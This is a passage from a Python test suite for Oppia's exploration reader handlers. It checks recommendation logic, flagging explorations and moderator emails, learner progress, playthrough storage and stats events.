[self.EXP_ID_1, self.EXP_ID_8]) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, collection_id=self.COL_ID, include_system_recommendations=True) # No explorations are recommended since the collection was completed. self.assertEqual(recommendation_ids, []) def test_logged_in_no_sysexps_with_authexps_first_exp_in_col_has_exps(self): """Check there is are recommended explorations when a user is logged in and completes the first exploration of a collection where that exploration also has author-specified explorations. """ self.login(self.NEW_USER_EMAIL) self._complete_exploration_in_collection(self.EXP_ID_19) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_19, collection_id=self.COL_ID, author_recommended_ids_str='["7","8"]') # The next exploration in the collection should be recommended along # with author specified explorations. self.assertEqual( recommendation_ids, [self.EXP_ID_20, self.EXP_ID_7, self.EXP_ID_8]) def test_logged_in_no_sysexps_with_authexps_mid_exp_in_col_has_exps(self): """Check there are recommended explorations when a user is logged in and completes a middle exploration of the collection, and that these recommendations include author-specified explorations. """ self.login(self.NEW_USER_EMAIL) self._complete_exploration_in_collection(self.EXP_ID_20) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_20, collection_id=self.COL_ID, author_recommended_ids_str='["7","21"]') # The first & next explorations should be recommended, along with author # specified explorations. self.assertEqual( recommendation_ids, [self.EXP_ID_19, self.EXP_ID_21, self.EXP_ID_7]) def test_logged_in_no_sysexps_authexps_all_exps_in_col_has_exps(self): """Check there are still recommended explorations when a user is logged in and completes all explorations of the collection if the last exploration has author-specified explorations. """ self.login(self.NEW_USER_EMAIL) self._complete_entire_collection_in_order() recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, collection_id=self.COL_ID, author_recommended_ids_str='["7","8"]') # Only author specified explorations should be recommended since all # others in the collection have been completed. self.assertEqual(recommendation_ids, [self.EXP_ID_7, self.EXP_ID_8]) # Logged out standard viewer tests. def test_logged_out_with_no_sysexps_no_authexps_no_col_has_no_exps(self): """Check there are no recommended explorations when a user is logged out, finishes an exploration in-viewer, but there are no recommended explorations and no author exploration IDs. """ recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, include_system_recommendations=True) self.assertEqual(recommendation_ids, []) def test_logged_out_with_sysexps_no_authexps_no_col_has_some_exps(self): """Check there are recommended explorations when a user is logged out, finishes an exploration in-viewer, and there are system recommendations. """ self._set_recommendations(self.EXP_ID_0, [self.EXP_ID_1, self.EXP_ID_8]) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, include_system_recommendations=True) self.assertEqual(recommendation_ids, [self.EXP_ID_1, self.EXP_ID_8]) def test_logged_out_no_sysexps_some_authexps_no_col_has_some_exps(self): """Check there are some recommended explorations when a user is logged out, finishes an exploration in-viewer, and there are author-specified exploration IDs. """ recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, include_system_recommendations=True, author_recommended_ids_str='["7","8"]') self.assertEqual(recommendation_ids, [self.EXP_ID_7, self.EXP_ID_8]) def test_logged_out_with_sysexps_and_authexps_no_col_has_some_exps(self): """Check there are recommended explorations when a user is logged in, finishes an exploration in-viewer, and there are both author-specified exploration IDs and recommendations from the system. """ self._set_recommendations(self.EXP_ID_0, [self.EXP_ID_1, self.EXP_ID_8]) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, include_system_recommendations=True, author_recommended_ids_str='["7","8"]') self.assertEqual( recommendation_ids, [self.EXP_ID_1, self.EXP_ID_7, self.EXP_ID_8]) # Logged out collection tests. def test_logged_out_no_sysexps_no_authexps_first_exp_in_col_has_exp(self): """Check there is a recommended exploration when a user is logged out and completes the first exploration of a collection. """ recommendation_ids = self._get_recommendation_ids( self.EXP_ID_19, collection_id=self.COL_ID) # The next exploration in the collection should be recommended. self.assertEqual(recommendation_ids, [self.EXP_ID_20]) def test_logged_out_no_sysexps_no_authexps_mid_exp_in_col_has_exp(self): """Check there is a recommended exploration when a user is logged out and completes a middle exploration of the collection. """ recommendation_ids = self._get_recommendation_ids( self.EXP_ID_20, collection_id=self.COL_ID) # Only the last exploration should be recommended since logged out users # follow a linear path through the collection. self.assertEqual(recommendation_ids, [self.EXP_ID_21]) def test_logged_out_no_sysexps_no_authexps_last_exp_col_has_no_exps(self): """Check there are not recommended explorations when a user is logged out and completes the last exploration in the collection. """ recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, collection_id=self.COL_ID) self.assertEqual(recommendation_ids, []) def test_logged_out_with_sysexps_no_authexps_first_exp_in_col_has_exp(self): """Check there is a recommended exploration when a user is logged out and completes the first exploration of a collection. Note that even though the completed exploration has system recommendations, they are ignored in favor of the collection's own recommendations. """ self._set_recommendations( self.EXP_ID_19, [self.EXP_ID_1, self.EXP_ID_8]) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_19, collection_id=self.COL_ID, include_system_recommendations=True) # The next exploration in the collection should be recommended. self.assertEqual(recommendation_ids, [self.EXP_ID_20]) def test_logged_out_with_sysexps_no_authexps_mid_exp_in_col_has_exp(self): """Check there is a recommended explorations when a user is logged out and completes a middle exploration of the collection. Note that even though the completed exploration has system recommendations, they are ignored in favor of the collection's own recommendations. """ self._set_recommendations( self.EXP_ID_20, [self.EXP_ID_1, self.EXP_ID_8]) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_20, collection_id=self.COL_ID, include_system_recommendations=True) # Only the last exploration should be recommended since logged out users # follow a linear path through the collection. self.assertEqual(recommendation_ids, [self.EXP_ID_21]) def test_logged_out_sysexps_no_authexps_last_exp_in_col_has_no_exps(self): """Check there are not recommended explorations when a user is logged out and completes the last exploration of the collection. This is true even if there are system recommendations for the last exploration. """ self._set_recommendations( self.EXP_ID_0, [self.EXP_ID_1, self.EXP_ID_8]) recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, collection_id=self.COL_ID, include_system_recommendations=True) # The collection is completed, so no other explorations should be # recommended. self.assertEqual(recommendation_ids, []) def test_logged_out_no_sysexps_but_authexps_first_exp_in_col_has_exps(self): """Check there is are recommended explorations when a user is logged out and completes the first exploration of a collection where that exploration also has author-specified explorations. """ recommendation_ids = self._get_recommendation_ids( self.EXP_ID_19, collection_id=self.COL_ID, author_recommended_ids_str='["7","8"]') # The next exploration in the collection should be recommended along # with author specified explorations. self.assertEqual( recommendation_ids, [self.EXP_ID_20, self.EXP_ID_7, self.EXP_ID_8]) def test_logged_out_no_sysexps_with_authexps_mid_exp_in_col_has_exps(self): """Check there are recommended explorations when a user is logged out and completes a middle exploration of the collection where that exploration also has author-specified explorations. """ recommendation_ids = self._get_recommendation_ids( self.EXP_ID_20, collection_id=self.COL_ID, author_recommended_ids_str='["7"]') # Both the next exploration & the author-specified explorations should # be recommended. self.assertEqual(recommendation_ids, [self.EXP_ID_21, self.EXP_ID_7]) def test_logged_out_no_sysexps_with_dup_authexps_mid_col_exp_has_exps(self): """test_logged_out_no_sysexps_with_authexps_mid_exp_in_col_has_exps but also checks that exploration IDs are de-duped if the next exploration overlaps with the author-specified explorations. """ recommendation_ids = self._get_recommendation_ids( self.EXP_ID_20, collection_id=self.COL_ID, author_recommended_ids_str='["7", "21"]') # Both the next exploration & the author-specified explorations should # be recommended. self.assertEqual(recommendation_ids, [self.EXP_ID_21, self.EXP_ID_7]) def test_logged_out_no_sysexps_authexps_last_exp_in_col_has_exps(self): """Check there are still recommended explorations when a user is logged out and completes all explorations of the collection if the last exploration has author-specified explorations. """ recommendation_ids = self._get_recommendation_ids( self.EXP_ID_0, collection_id=self.COL_ID, author_recommended_ids_str='["7","8"]') # Only author specified explorations should be recommended since all # others in the collection have been completed. self.assertEqual(recommendation_ids, [self.EXP_ID_7, self.EXP_ID_8]) def test_get_recommendation_ids_with_invalid_author_recommended_ids(self): self.get_json( '/explorehandler/recommendations/%s' % self.EXP_ID_1, params={ 'collection_id': 'collection_id', 'include_system_recommendations': True, 'stringified_author_recommended_ids': 'invalid_type' }, expected_status_int=404 ) class FlagExplorationHandlerTests(test_utils.EmailTestBase): """Backend integration tests for flagging an exploration.""" EXP_ID = '0' REPORT_TEXT = 'AD' def setUp(self): super(FlagExplorationHandlerTests, self).setUp() # Register users. self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME) self.signup(self.NEW_USER_EMAIL, self.NEW_USER_USERNAME) self.signup(self.MODERATOR_EMAIL, self.MODERATOR_USERNAME) self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL) self.new_user_id = self.get_user_id_from_email(self.NEW_USER_EMAIL) self.moderator_id = self.get_user_id_from_email(self.MODERATOR_EMAIL) self.set_moderators([self.MODERATOR_USERNAME]) self.editor = user_services.UserActionsInfo(self.editor_id) # Login and create exploration. self.login(self.EDITOR_EMAIL) # Create exploration. self.save_new_valid_exploration( self.EXP_ID, self.editor_id, title='Welcome to Oppia!', category='This is just a spam category', objective='Test a spam exploration.') self.can_send_emails_ctx = self.swap( feconf, 'CAN_SEND_EMAILS', True) rights_manager.publish_exploration(self.editor, self.EXP_ID) self.logout() def test_that_emails_are_sent(self): """Check that emails are sent to moderaters when a logged-in user reports. """ # Login and flag exploration. self.login(self.NEW_USER_EMAIL) csrf_token = self.get_new_csrf_token() self.post_json( '%s/%s' % (feconf.FLAG_EXPLORATION_URL_PREFIX, self.EXP_ID), { 'report_text': self.REPORT_TEXT, }, csrf_token=csrf_token) self.logout() expected_email_html_body = ( 'Hello Moderator,<br>' 'newuser has flagged exploration ' '"Welcome to Oppia!"' ' on the following grounds: <br>' 'AD .<br>' 'You can modify the exploration by clicking ' '<a href="https://www.oppia.org/create/0">' 'here</a>.<br>' '<br>' 'Thanks!<br>' '- The Oppia Team<br>' '<br>' 'You can change your email preferences via the ' '<a href="https://www.example.com">Preferences</a> page.') expected_email_text_body = ( 'Hello Moderator,\n' 'newuser has flagged exploration ' '"Welcome to Oppia!"' ' on the following grounds: \n' 'AD .\n' 'You can modify the exploration by clicking here.\n' '\n' 'Thanks!\n' '- The Oppia Team\n' '\n' 'You can change your email preferences via the Preferences page.') with self.can_send_emails_ctx: self.process_and_flush_pending_tasks() messages = self._get_sent_email_messages( self.MODERATOR_EMAIL) self.assertEqual(len(messages), 1) self.assertEqual( messages[0].html.decode(), expected_email_html_body) self.assertEqual( messages[0].body.decode(), expected_email_text_body) def test_non_logged_in_users_cannot_report(self): """Check that non-logged in users cannot report.""" self.login(self.NEW_USER_EMAIL) csrf_token = self.get_new_csrf_token() self.logout() # Create report for exploration. self.post_json( '%s/%s' % (feconf.FLAG_EXPLORATION_URL_PREFIX, self.EXP_ID), { 'report_text': self.REPORT_TEXT, }, csrf_token=csrf_token, expected_status_int=401) class LearnerProgressTest(test_utils.GenericTestBase): """Tests for tracking learner progress.""" EXP_ID_0 = 'exp_0' EXP_ID_1 = 'exp_1' # The first number corresponds to the collection to which the exploration # belongs. The second number corresponds to the exploration id. EXP_ID_1_0 = 'exp_2' EXP_ID_1_1 = 'exp_3' COL_ID_0 = 'col_0' COL_ID_1 = 'col_1' USER_EMAIL = 'user@example.com' USER_USERNAME = 'user' def setUp(self): super(LearnerProgressTest, self).setUp() self.signup(self.USER_EMAIL, self.USER_USERNAME) self.user_id = self.get_user_id_from_email(self.USER_EMAIL) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) # Save and publish explorations. self.save_new_valid_exploration( self.EXP_ID_0, self.owner_id, title='Bridges in England', category='Architecture', language_code='en') self.save_new_valid_exploration( self.EXP_ID_1, self.owner_id, title='Welcome', category='Architecture', language_code='fi') self.save_new_valid_exploration( self.EXP_ID_1_0, self.owner_id, title='Sillat Suomi', category='Architecture', language_code='fi') self.save_new_valid_exploration( self.EXP_ID_1_1, self.owner_id, title='Introduce Interactions in Oppia', category='Welcome', language_code='en') rights_manager.publish_exploration(self.owner, self.EXP_ID_0) rights_manager.publish_exploration(self.owner, self.EXP_ID_1) rights_manager.publish_exploration(self.owner, self.EXP_ID_1_0) rights_manager.publish_exploration(self.owner, self.EXP_ID_1_1) # Save a new collection. self.save_new_default_collection( self.COL_ID_0, self.owner_id, title='Welcome', category='Architecture') self.save_new_default_collection( self.COL_ID_1, self.owner_id, title='Bridges in England', category='Architecture') # Add two explorations to the previously saved collection and publish # it. for exp_id in [self.EXP_ID_1_0, self.EXP_ID_1_1]: collection_services.update_collection( self.owner_id, self.COL_ID_1, [{ 'cmd': collection_domain.CMD_ADD_COLLECTION_NODE, 'exploration_id': exp_id }], 'Added new exploration') # Publish the collections. rights_manager.publish_collection(self.owner, self.COL_ID_0) rights_manager.publish_collection(self.owner, self.COL_ID_1) def test_independent_exp_complete_event_handler(self): """Test handler for completion of explorations not in the context of collections. """ self.login(self.USER_EMAIL) csrf_token = self.get_new_csrf_token() payload = { 'client_time_spent_in_secs': 0, 'params': {}, 'session_id': '1PZTCw9JY8y-8lqBeuoJS2ILZMxa5m8N', 'state_name': 'final', 'version': 1 } # When an exploration is completed but is not in the context of a # collection, it is just added to the completed explorations list. self.post_json( '/explorehandler/exploration_complete_event/%s' % self.EXP_ID_0, payload, csrf_token=csrf_token) self.assertEqual(learner_progress_services.get_all_completed_exp_ids( self.user_id), [self.EXP_ID_0]) self.assertEqual( learner_progress_services.get_all_incomplete_collection_ids( self.user_id), []) # Test another exploration. self.post_json( '/explorehandler/exploration_complete_event/%s' % self.EXP_ID_1_0, payload, csrf_token=csrf_token) self.assertEqual(learner_progress_services.get_all_completed_exp_ids( self.user_id), [self.EXP_ID_0, self.EXP_ID_1_0]) self.assertEqual( learner_progress_services.get_all_incomplete_collection_ids( self.user_id), []) def test_exp_complete_event_in_collection(self): """Test handler for completion of explorations in the context of collections. """ self.login(self.USER_EMAIL) csrf_token = self.get_new_csrf_token() payload = { 'client_time_spent_in_secs': 0, 'collection_id': self.COL_ID_1, 'params': {}, 'session_id': '1PZTCw9JY8y-8lqBeuoJS2ILZMxa5m8N', 'state_name': 'final', 'version': 1 } # If the exploration is completed in the context of a collection, # then in addition to the exploration being added to the completed # list, the collection is also added to the incomplete/complete list # dependent on whether there are more explorations left to complete. # Here we test the case when the collection is partially completed. self.post_json( '/explorehandler/exploration_complete_event/%s' % self.EXP_ID_1_0, payload, csrf_token=csrf_token) self.assertEqual( learner_progress_services.get_all_incomplete_collection_ids( self.user_id), [self.COL_ID_1]) self.assertEqual(learner_progress_services.get_all_completed_exp_ids( self.user_id), [self.EXP_ID_1_0]) # Now we test the case when the collection is completed. self.post_json( '/explorehandler/exploration_complete_event/%s' % self.EXP_ID_1_1, payload, csrf_token=csrf_token) self.assertEqual( learner_progress_services.get_all_incomplete_collection_ids( self.user_id), []) self.assertEqual( learner_progress_services.get_all_completed_collection_ids( self.user_id), [self.COL_ID_1]) self.assertEqual( learner_progress_services.get_all_completed_exp_ids( self.user_id), [self.EXP_ID_1_0, self.EXP_ID_1_1]) def test_cannot_complete_exploration_with_no_version(self): self.login(self.USER_EMAIL) csrf_token = self.get_new_csrf_token() payload = { 'client_time_spent_in_secs': 0, 'collection_id': self.COL_ID_1, 'params': {}, 'session_id': '1PZTCw9JY8y-8lqBeuoJS2ILZMxa5m8N', 'state_name': 'final', 'version': None } response = self.post_json( '/explorehandler/exploration_complete_event/%s' % self.EXP_ID_1_0, payload, csrf_token=csrf_token, expected_status_int=400) self.assertEqual( response['error'], 'NONE EXP VERSION: Exploration complete') def test_exp_incomplete_event_handler(self): """Test handler for leaving an exploration incomplete.""" self.login(self.USER_EMAIL) csrf_token = self.get_new_csrf_token() payload = { 'client_time_spent_in_secs': 0, 'params': {}, 'session_id': '1PZTCw9JY8y-8lqBeuoJS2ILZMxa5m8N', 'state_name': 'middle', 'version': 1 } # Add the incomplete exploration id to the incomplete list. self.post_json( '/explorehandler/exploration_maybe_leave_event/%s' % self.EXP_ID_0, payload, csrf_token=csrf_token) self.assertEqual( learner_progress_services.get_all_incomplete_exp_ids( self.user_id), [self.EXP_ID_0]) # Adding the exploration again has no effect. self.post_json( '/explorehandler/exploration_maybe_leave_event/%s' % self.EXP_ID_0, payload, csrf_token=csrf_token) self.assertEqual( learner_progress_services.get_all_incomplete_exp_ids( self.user_id), [self.EXP_ID_0]) payload = { 'client_time_spent_in_secs': 0, 'collection_id': self.COL_ID_1, 'params': {}, 'session_id': '1PZTCw9JY8y-8lqBeuoJS2ILZMxa5m8N', 'state_name': 'middle', 'version': 1 } # If the exploration is played in the context of a collection, the # collection is also added to the incomplete list. self.post_json( '/explorehandler/exploration_maybe_leave_event/%s' % self.EXP_ID_1_0, # pylint: disable=line-too-long payload, csrf_token=csrf_token) self.assertEqual( learner_progress_services.get_all_incomplete_exp_ids( self.user_id), [self.EXP_ID_0, self.EXP_ID_1_0]) self.assertEqual( learner_progress_services.get_all_incomplete_collection_ids( self.user_id), [self.COL_ID_1]) def test_exp_incomplete_event_handler_with_no_version_raises_error(self): self.login(self.USER_EMAIL) csrf_token = self.get_new_csrf_token() payload = { 'client_time_spent_in_secs': 0, 'params': {}, 'session_id': '1PZTCw9JY8y-8lqBeuoJS2ILZMxa5m8N', 'state_name': 'middle', } response = self.post_json( '/explorehandler/exploration_maybe_leave_event/%s' % self.EXP_ID_0, payload, csrf_token=csrf_token, expected_status_int=400) self.assertEqual(response['error'], 'NONE EXP VERSION: Maybe quit') def test_remove_exp_from_incomplete_list_handler(self): """Test handler for removing explorations from the partially completed list. """ self.login(self.USER_EMAIL) state_name = 'state_name' version = 1 # Add two explorations to the partially completed list. learner_progress_services.mark_exploration_as_incomplete( self.user_id, self.EXP_ID_0, state_name, version) learner_progress_services.mark_exploration_as_incomplete( self.user_id, self.EXP_ID_1, state_name, version) self.assertEqual( learner_progress_services.get_all_incomplete_exp_ids( self.user_id), [self.EXP_ID_0, self.EXP_ID_1]) # Remove one exploration. self.delete_json( '%s/%s/%s' % ( feconf.LEARNER_INCOMPLETE_ACTIVITY_DATA_URL, constants.ACTIVITY_TYPE_EXPLORATION, self.EXP_ID_0)) self.assertEqual( learner_progress_services.get_all_incomplete_exp_ids( self.user_id), [self.EXP_ID_1]) # Remove another exploration. self.delete_json( '%s/%s/%s' % ( feconf.LEARNER_INCOMPLETE_ACTIVITY_DATA_URL, constants.ACTIVITY_TYPE_EXPLORATION, self.EXP_ID_1)) self.assertEqual( learner_progress_services.get_all_incomplete_exp_ids( self.user_id), []) def test_remove_collection_from_incomplete_list_handler(self): """Test handler for removing collections from incomplete list.""" self.login(self.USER_EMAIL) # Add two collections to incomplete list. learner_progress_services.mark_collection_as_incomplete( self.user_id, self.COL_ID_0) learner_progress_services.mark_collection_as_incomplete( self.user_id, self.COL_ID_1) self.assertEqual( learner_progress_services.get_all_incomplete_collection_ids( self.user_id), [self.COL_ID_0, self.COL_ID_1]) # Remove one collection. self.delete_json( '%s/%s/%s' % ( feconf.LEARNER_INCOMPLETE_ACTIVITY_DATA_URL, constants.ACTIVITY_TYPE_COLLECTION, self.COL_ID_0)) self.assertEqual( learner_progress_services.get_all_incomplete_collection_ids( self.user_id), [self.COL_ID_1]) # Remove another collection. self.delete_json( '%s/%s/%s' % ( feconf.LEARNER_INCOMPLETE_ACTIVITY_DATA_URL, constants.ACTIVITY_TYPE_COLLECTION, self.COL_ID_1)) self.assertEqual( learner_progress_services.get_all_incomplete_collection_ids( self.user_id), []) class StorePlaythroughHandlerTest(test_utils.GenericTestBase): """Tests for the handler that records playthroughs.""" def setUp(self): super(StorePlaythroughHandlerTest, self).setUp() self.exp_id = '15' self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) self.login(self.VIEWER_EMAIL) exp_services.load_demo(self.exp_id) self.exploration = exp_fetchers.get_exploration_by_id(self.exp_id) playthrough_id = stats_models.PlaythroughModel.create( self.exp_id, self.exploration.version, 'EarlyQuit', { 'state_name': {'value': 'state_name1'}, 'time_spent_in_exp_in_msecs': {'value': 200} }, [ { 'action_type': 'ExplorationStart', 'action_customization_args': { 'state_name': {'value': 'state_name1'} }, 'schema_version': 1 } ]) stats_models.ExplorationIssuesModel.create( self.exp_id, 1, [ { 'issue_type': 'EarlyQuit', 'issue_customization_args': { 'state_name': {'value': 'state_name1'}, 'time_spent_in_exp_in_msecs': {'value': 200} }, 'playthrough_ids': [playthrough_id], 'schema_version': 1, 'is_valid': True } ]) self.playthrough_data = { 'exp_id': self.exp_id, 'exp_version': self.exploration.version, 'issue_type': 'EarlyQuit', 'issue_customization_args': { 'state_name': {'value': 'state_name1'}, 'time_spent_in_exp_in_msecs': {'value': 250} }, 'actions': [ { 'action_type': 'ExplorationStart', 'action_customization_args': { 'state_name': {'value': 'state_name1'} }, 'schema_version': 1 } ] } self.csrf_token = self.get_new_csrf_token() def test_new_playthrough_gets_stored(self): """Test that a new playthrough gets created and is added to an existing issue's list of playthrough IDs. """ self.post_json('/explorehandler/store_playthrough/%s' % (self.exp_id), { 'playthrough_data': self.playthrough_data, 'issue_schema_version': 1, 'playthrough_id': None }, csrf_token=self.csrf_token) self.process_and_flush_pending_tasks() model = stats_models.ExplorationIssuesModel.get_model(self.exp_id, 1) self.assertEqual(len(model.unresolved_issues), 1) self.assertEqual(len(model.unresolved_issues[0]['playthrough_ids']), 2) def test_new_exp_issue_gets_created(self): """Test that a new playthrough gets created and a new issue is created for it. """ self.playthrough_data['issue_customization_args']['state_name'][ 'value'] = 'state_name2' self.post_json('/explorehandler/store_playthrough/%s' % (self.exp_id), { 'playthrough_data': self.playthrough_data, 'issue_schema_version': 1, }, csrf_token=self.csrf_token) self.process_and_flush_pending_tasks() model = stats_models.ExplorationIssuesModel.get_model(self.exp_id, 1) self.assertEqual(len(model.unresolved_issues), 2) self.assertEqual(len(model.unresolved_issues[0]['playthrough_ids']), 1) self.assertEqual(len(model.unresolved_issues[1]['playthrough_ids']), 1) def test_playthrough_gets_added_to_cyclic_issues(self): """Test that a new cyclic playthrough gets added to the correct cyclic issue when it exists. """ playthrough_id = stats_models.PlaythroughModel.create( self.exp_id, self.exploration.version, 'CyclicStateTransitions', { 'state_names': { 'value': ['state_name1', 'state_name2', 'state_name1'] }, }, [ { 'action_type': 'ExplorationStart', 'action_customization_args': { 'state_name': { 'value': 'state_name1' } }, 'schema_version': 1 } ]) model = stats_models.ExplorationIssuesModel.get_model(self.exp_id, 1) model.unresolved_issues.append({ 'issue_type': 'CyclicStateTransitions', 'issue_customization_args': { 'state_names': { 'value': ['state_name1', 'state_name2', 'state_name1'] }, }, 'playthrough_ids': [playthrough_id], 'schema_version': 1, 'is_valid': True }) model.put() self.playthrough_data = { 'exp_id': self.exp_id, 'exp_version': self.exploration.version, 'issue_type': 'CyclicStateTransitions', 'issue_customization_args': { 'state_names': { 'value': ['state_name1', 'state_name2', 'state_name1'] }, }, 'actions': [ { 'action_type': 'ExplorationStart', 'action_customization_args': { 'state_name': {'value': 'state_name1'} }, 'schema_version': 1 } ], } self.post_json('/explorehandler/store_playthrough/%s' % (self.exp_id), { 'playthrough_data': self.playthrough_data, 'issue_schema_version': 1, }, csrf_token=self.csrf_token) self.process_and_flush_pending_tasks() model = stats_models.ExplorationIssuesModel.get_model(self.exp_id, 1) self.assertEqual(len(model.unresolved_issues), 2) self.assertEqual(len(model.unresolved_issues[0]['playthrough_ids']), 1) self.assertEqual(len(model.unresolved_issues[1]['playthrough_ids']), 2) def test_cyclic_issues_of_different_order_creates_new_issue(self): """Test that a cyclic issue with the same list of states, but in a different order creates a new issue. """ playthrough_id = stats_models.PlaythroughModel.create( self.exp_id, self.exploration.version, 'CyclicStateTransitions', { 'state_names': { 'value': ['state_name1', 'state_name2', 'state_name1'] }, }, [ { 'action_type': 'ExplorationStart', 'action_customization_args': { 'state_name': { 'value': 'state_name1' } }, 'schema_version': 1 }, ]) model = stats_models.ExplorationIssuesModel.get_model(self.exp_id, 1) model.unresolved_issues.append({ 'issue_type': 'CyclicStateTransitions', 'issue_customization_args': { 'state_names': { 'value': ['state_name1', 'state_name2', 'state_name1'] }, }, 'playthrough_ids': [playthrough_id], 'schema_version': 1, 'is_valid': True }) model.put() self.playthrough_data = { 'exp_id': self.exp_id, 'exp_version': self.exploration.version, 'issue_type': 'CyclicStateTransitions', 'issue_customization_args': { 'state_names': { 'value': ['state_name2', 'state_name1', 'state_name2'] }, }, 'actions': [ { 'action_type': 'ExplorationStart', 'action_customization_args': { 'state_name': {'value': 'state_name1'} }, 'schema_version': 1 } ] } self.post_json('/explorehandler/store_playthrough/%s' % (self.exp_id), { 'playthrough_data': self.playthrough_data, 'issue_schema_version': 1, }, csrf_token=self.csrf_token) self.process_and_flush_pending_tasks() model = stats_models.ExplorationIssuesModel.get_model(self.exp_id, 1) self.assertEqual(len(model.unresolved_issues), 3) self.assertEqual(len(model.unresolved_issues[0]['playthrough_ids']), 1) self.assertEqual(len(model.unresolved_issues[1]['playthrough_ids']), 1) self.assertEqual(len(model.unresolved_issues[2]['playthrough_ids']), 1) def test_playthrough_not_stored_at_limiting_value(self): """Test that a playthrough is not stored when the maximum number of playthroughs per issue already exists. """ model = stats_models.ExplorationIssuesModel.get_model(self.exp_id, 1) model.unresolved_issues[0]['playthrough_ids'] = [ 'id1', 'id2', 'id3', 'id4', 'id5' ] model.put() self.post_json('/explorehandler/store_playthrough/%s' % (self.exp_id), { 'playthrough_data': self.playthrough_data, 'issue_schema_version': 1, }, csrf_token=self.csrf_token) self.process_and_flush_pending_tasks() model = stats_models.ExplorationIssuesModel.get_model(self.exp_id, 1) self.assertEqual(len(model.unresolved_issues), 1) self.assertEqual(len(model.unresolved_issues[0]['playthrough_ids']), 5) def test_error_without_schema_version_in_payload_dict(self): """Test that passing a payload without schema version raises an exception. """ self.post_json('/explorehandler/store_playthrough/%s' % (self.exp_id), { 'playthrough_data': self.playthrough_data, }, csrf_token=self.csrf_token, expected_status_int=400) def test_error_on_invalid_playthrough_dict(self): """Test that passing an invalid playthrough dict raises an exception.""" self.playthrough_data['issue_type'] = 'FakeIssueType' self.post_json('/explorehandler/store_playthrough/%s' % (self.exp_id), { 'playthrough_data': self.playthrough_data, 'issue_schema_version': 1, }, csrf_token=self.csrf_token, expected_status_int=400) class StatsEventHandlerTest(test_utils.GenericTestBase): """Tests for all the statistics event models recording handlers.""" def setUp(self): super(StatsEventHandlerTest, self).setUp() self.exp_id = '15' self.login(self.VIEWER_EMAIL) self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) exp_services.load_demo(self.exp_id) exploration = exp_fetchers.get_exploration_by_id(self.exp_id) self.exp_version = exploration.version self.state_name = 'Home' self.session_id = 'session_id1' state_stats_mapping = { self.state_name: stats_domain.StateStats.create_default() } exploration_stats = stats_domain.ExplorationStats( self.exp_id, self.exp_version, 0, 0, 0, 0, 0, 0, state_stats_mapping) stats_services.create_stats_model(exploration_stats) self.aggregated_stats = { 'num_starts': 1, 'num_actual_starts': 1, 'num_completions': 1, 'state_stats_mapping': { 'Home': { 'total_hit_count': 1, 'first_hit_count': 1, 'total_answers_count': 1, 'useful_feedback_count': 1, 'num_times_solution_viewed': 1, 'num_completions': 1 } } } def test_none_version_raises_exception(self): """Test that error is raised on None exp_version.""" self.post_json( '/explorehandler/stats_events/%s' % ( self.exp_id), { 'aggregated_stats': self.aggregated_stats, 'exp_version': None}, expected_status_int=400) def test_stats_events_handler(self): """Test the handler for handling batched events.""" self.post_json('/explorehandler/stats_events/%s' % ( self.exp_id), { 'aggregated_stats': self.aggregated_stats, 'exp_version': self.exp_version}) self.assertEqual(self.count_jobs_in_taskqueue( taskqueue_services.QUEUE_NAME_STATS), 1) self.process_and_flush_pending_tasks() # Check that the models are updated. exploration_stats = stats_services.get_exploration_stats_by_id( self.exp_id, self.exp_version) self.assertEqual(exploration_stats.num_starts_v2, 1) self.assertEqual(exploration_stats.num_actual_starts_v2, 1) self.assertEqual(exploration_stats.num_completions_v2, 1) self.assertEqual( exploration_stats.state_stats_mapping[ self.state_name].total_hit_count_v2, 1) self.assertEqual( exploration_stats.state_stats_mapping[ self.state_name].first_hit_count_v2, 1) self.assertEqual( exploration_stats.state_stats_mapping[ self.state_name].total_answers_count_v2, 1) self.assertEqual( exploration_stats.state_stats_mapping[ self.state_name].useful_feedback_count_v2, 1) self.assertEqual( exploration_stats.state_stats_mapping[ self.state_name].num_completions_v2, 1) self.assertEqual( exploration_stats.state_stats_mapping[ self.state_name].num_times_solution_viewed_v2, 1) def test_stats_events_handler_raises_error_with_invalid_exp_stats_property( self): observed_log_messages = [] def _mock_logging_function(msg): """Mocks logging.error().""" observed_log_messages.append(msg) self.aggregated_stats.pop('num_starts') with self.swap(logging, 'error', _mock_logging_function): self.post_json('/explorehandler/stats_events/%s' % ( self.exp_id), { 'aggregated_stats': self.aggregated_stats, 'exp_version': self.exp_version}) self.assertEqual(len(observed_log_messages), 1) self.assertIn( 'num_starts not in aggregated stats dict.', observed_log_messages[0]) def test_stats_events_handler_raise_error_with_invalid_state_stats_property( self): observed_log_messages = [] def _mock_logging_function(msg): """Mocks logging.error().""" observed_log_messages.append(msg) self.aggregated_stats['state_stats_mapping']['Home'].pop( 'total_hit_count') with self.swap(logging, 'error', _mock_logging_function): self.post_json('/explorehandler/stats_events/%s' % ( self.exp_id), { 'aggregated_stats': self.aggregated_stats, 'exp_version': self.exp_version}) self.assertEqual(len(observed_log_messages), 1) self.assertIn( 'total_hit_count not in state stats mapping ' 'of Home in aggregated stats dict.', observed_log_messages[0]) class AnswerSubmittedEventHandlerTest(test_utils.GenericTestBase): """Tests for the answer submitted event handler.""" def test_submit_answer_for_exploration(self): # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) version = 1 self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) self.login(self.VIEWER_EMAIL) exploration_dict = self.get_json( '%s/%s' % (feconf.EXPLORATION_INIT_URL_PREFIX, exp_id)) state_name_1 = exploration_dict['exploration']['init_state_name'] 